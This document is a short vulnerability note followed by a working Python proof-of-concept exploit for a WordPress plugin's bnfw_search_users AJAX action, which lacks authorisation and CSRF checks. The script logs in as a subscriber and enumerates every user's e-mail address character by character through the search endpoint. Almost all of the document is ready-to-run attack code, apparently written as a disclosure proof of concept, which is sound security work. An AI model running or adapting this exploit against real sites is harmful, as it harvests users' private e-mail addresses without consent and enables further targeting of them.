The plugin does not have authorisation and CSRF check in its bnfw_search_users AJAX action, allowing any authenticated users to call it and query for user e-mail prefixes (finding the first letter, then the second one, then the third one etc.).
import sys
import string
import urllib.parse
import requests
BASE_URL = "http://127.0.0.1:8001/"
USERNAME = "subscriber"
PASSWORD = "subscriber"
# This exploit doesn't detect stars in e-mail addresses.
EMAIL_CHARSET = (
"".join([x for x in string.ascii_letters if x == x.lower()])
+ string.digits
+ "!#$%&'+-/=?^_`{|}~.@:"
)
with requests.Session() as s:
cookies = {"wordpress_test_cookie": "WP Cookie check"}
data = {
"log": USERNAME,
"pwd": PASSWORD,
"wp-submit": "Log In",
"redirect_to": BASE_URL,
"testcookie": "1",
}
response = s.post(BASE_URL + "wp-login.php", cookies=cookies, data=data)
def get_users_by_query(query: str) -> dict:
response = s.get(
BASE_URL
+ "/wp-admin/admin-ajax.php?action=bnfw_search_users&query="
+ urllib.parse.quote(query)
)
response_decoded = response.json()
for item in response_decoded:
if item["text"] == "Users":
return item["children"]
USERS = {}
for user in get_users_by_query(""):
USERS[user["id"]] = user["text"]
for user_id, user_name in USERS.items():
print(f"Getting e-mail of {user_name}... :")
email_candidates = [""]
finished_candidates = []
while len(email_candidates) > 0:
new_candidates = []
for candidate in email_candidates:
found = False
for char in EMAIL_CHARSET:
for item in get_users_by_query(candidate + char):
if item["id"] == user_id:
new_candidates.append(candidate + char)
found = True
if not found:
finished_candidates.append(candidate)
email_candidates = [
candidate
for candidate in new_candidates
if not candidate.startswith(user_id + ".")
and not candidate.startswith("http:")
]
print("candidates: ", email_candidates + finished_candidates)
print([candidate for candidate in email_candidates + finished_candidates if "@" in candidate])